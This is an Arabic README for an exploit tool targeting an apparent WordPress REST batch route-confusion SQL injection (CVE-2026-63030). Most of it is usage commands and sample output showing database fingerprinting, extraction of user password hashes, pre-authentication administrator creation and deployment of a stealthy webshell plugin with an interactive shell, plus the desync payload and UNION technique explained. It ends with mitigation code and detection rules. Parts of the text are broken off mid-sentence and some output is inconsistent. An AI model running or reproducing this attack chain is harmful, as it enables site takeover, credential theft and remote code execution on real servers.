
CVE-2026-63030 - إثبات المفهوم لثغرة حقن SQL عبر الارتباك في المسارات في طلبات REST المجمّعة لووردبريس
إثبات المفهوم لثغرة حقن SQL عبر خلط المسارات في REST API الخاصة بـ WordPress (CVE-2026-63030)
البحث وتطوير الاستغلال والتوثيق بواسطة Ch4120N
هذا المستودع والأداة المرافقة له (exploit.py) مخصصان حصريًا للأغراض التعليمية، واختبار الاختراق المصرّح به، والبحث الأمني.
يُعد استخدام هذا الاستغلال ضد أي أهداف دون موافقة صريحة ومسبقة ومكتوبة أمرًا غير قانوني وينتهك قوانين مكافحة جرائم الكمبيوتر وإساءة الاستخدام عالميًا. لا يتحمل المؤلف (Ch4120N) أي مسؤولية إطلاقًا عن أي إساءة استخدام أو ضرر أو عواقب قانونية تنشأ عن استخدام هذا الكود. اعمل دائمًا في حدود القانون واحصل على التصريح المناسب.
CVE-2026-63030 هي ثغرة أمنية حرجة وغير مصادَق عليها تؤثر على REST API في WordPress. تستغل خطأ خلط المسارات داخل نقطة نهاية المعالجة المجمّعة المتداخلة (/wp-json/batch/v1 أو /?rest_route=/batch/v1).
عندما يعالج WordPress مجموعة من طلبات REST API، فإنه يتحقق من صحة كل طلب فرعي مقابل المخطط (schema) الخاص به قبل التنفيذ. ومع ذلك، وبسبب خلل في كيفية تعامل مؤشر التوجيه الداخلي مع المسارات المشوّهة عمدًا (مثل ///)، يصبح مخطط التحقق غير متزامن مع معالج التنفيذ الفعلي.
/wp/v2/users (التي لا تقبل author_exclude) بواسطة معالج /wp/v2/posts. يتم تمرير المعامل author_exclude غير المنقّى مباشرةً إلى جملة author__not_in الخاصة بـ WP_Query، مما يؤدي إلى حقن SQL غير مصادق عليه.oembed_cache. ثم تستخدم الأداة حمولة changeset من مخصّص WordPress (Customizer) لتسميم ذاكرة التخزين المؤقت لقائمة التنقل، وخداع WordPress لتنفيذ طلب إنشاء مستخدم في سياق مسؤول موجود.pip install.exploit.py).WP_Post وهمي (طلب واحد لكل قيمة).EXTRACTVALUE() الخاصة بـ XPATH إذا كان WP_DEBUG_DISPLAY مفعّلًا.cd).لا توجد حزم خارجية مطلوبة. تأكد من تثبيت Python 3.8 أو أحدث.
# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030
# Make the script executable
chmod +x exploit.py
# Verify Python version
python3 --version
# Executing the script
python3 exploit.py
تنقسم الأداة إلى ثلاثة أوامر فرعية رئيسية: check وread وshell.
تنطبق هذه الخيارات على جميع الأوامر الفرعية:
check - اكتشاف الثغرةيفحص الهدف بأمان للتأكد من وجود مؤشرات خلط المسارات ويختبر توقيت حقن SQL دون استخراج أي بيانات.
read - استخراج قاعدة البياناتيستخرج البيانات مباشرةً من قاعدة البيانات عبر ثغرة حقن SQL.
shell - تنفيذ التعليمات البرمجية عن بُعدينشر الغلاف الخبيث وينفذ الأوامر. إذا لم يتم توفير بيانات اعتماد، فإنه يشغّل تلقائيًا جسر إنشاء المسؤول قبل المصادقة.
فيما يلي أمثلة واقعية للأداة أثناء العمل.
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli
[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
- 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union
[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_
[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.
لاحظ كيف تقوم الأداة تلقائيًا بإنشاء حساب مسؤول، ونشر الغلاف، والتنظيف بعد الخروج.
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive
[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
Extracting table name...
Finding source admin ID...
Seeding oEmbed cache...
Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php
[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit
[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.
يعتمد جوهر الاستغلال على حقن _DESYNC_PRIMER = {"method": "POST", "path": "///"}. يجبر عنوان URL غير الصالح هذا التوجيه الداخلي لـ WordPress على توليد WP_Error للطلب الفرعي الأول. يؤدي هذا إلى إزاحة المؤشر الداخلي، مما يجعل الطلب الفرعي الثاني يُتحقق منه مقابل مخطط واحد ولكن يُنفَّذ بواسطة معالج الطلب الفرعي الثالث. وهذا يهرّب المعامل author_exclude إلى WP_Query.
بدلًا من حقن SQL الأعمى البطيء، تستخدم الأداة UNION SELECT لحقن صف wp_posts وهمي مكتمل التكوين. ومن خلال تعيين orderby=none وper_page=500، تمنع WP_Query من تقسيم الاستعلام. يحتوي post_title المحقون على النتيجة المشفّرة بالنظام الست عشري (hex) لتعبير SQL المستهدف، ملفوفة بفواصل ||، وتنعكس مباشرةً في استجابة JSON الخاصة بـ REST API.
إضافة PHP المنشورة مصمّمة بتخفي عالٍ:
wp_a1b2c3d4.php).t) وأمرًا (c) عبر معاملات GET.hash_equals() لمنع هجمات التوقيت على التوكن.chdir) لمنع كشف المسار.EXPLOIT::...::END لتحليل نظيف من جانب عميل Python.mu-plugins):
add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
if ( $request->get_route() === '/batch/v1' ) {
return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
}
return $response;
}, 10, 3 );
/batch/v1 المتداخلة التي تحتوي على author_exclude في URI.UNION أو SLEEP() أو EXTRACTVALUE في معاملات URL./// في طلبات REST API.WP_DEBUG_DISPLAY على false في لمنع تسريب حقن SQL القائم على الأخطاء."القوة العظيمة تأتي مع مسؤولية عظيمة. استخدم هذه المعرفة للدفاع، لا للتدمير."
— Ch4120N
| الخيار | الوصف | الافتراضي |
|---|
url | عنوان URL الأساسي للهدف (مثل http://target.com) | مطلوب |
--rest-route | استخدم /?rest_route=/batch/v1 بدلًا من /wp-json/batch/v1 (للمواقع التي لديها روابط ثابتة معطّلة). | False |
--timeout | مهلة طلب HTTP بالثواني. | 30.0 |
--proxy | وكيل HTTP/HTTPS (مثل http://127.0.0.1:8080). | None |
| الخيار | الوصف | الافتراضي |
|---|
--sleep | تأخير توقيت SQL (بالثواني) المستخدم في خطة --confirm-sqli الاحتياطية. | 3.0 |
--samples | عدد أزواج توقيت SQL الأساسية/المؤجلة لاختبارها. | 3 |
--confirm-sqli | إرسال حمولة تأكيد نشطة لحقن SQL (يضيف تأخيرًا طفيفًا). | False |
| الخيار | الوصف | الافتراضي |
|---|
--preset | قوالب استخراج سريعة: fingerprint (الإصدار/المستخدم/قاعدة البيانات) أو users (أسماء الدخول/التجزئات). | fingerprint |
--query | تنفيذ تعبير SQL قياسي مخصص (مثل "SELECT @@version"). | None |
--prefix | بادئة جدول قاعدة البيانات. | wp_ |
--max-length | الحد الأقصى للأحرف المستخرجة لكل قيمة. | 128 |
--technique | تقنية الاستخراج: auto أو union أو error أو blind. | auto |
| الخيار | الوصف | الافتراضي |
|---|
--user | اسم مستخدم المسؤول. (احذفه لاستخدام جسر ما قبل المصادقة). | None |
--password | كلمة مرور المسؤول. (احذفها لاستخدام جسر ما قبل المصادقة). | None |
--cmd | أمر واحد لتنفيذه على الهدف. | None |
-i, --interactive | فتح غلاف تفاعلي (REPL) بعد النشر. | False |
wp-config.php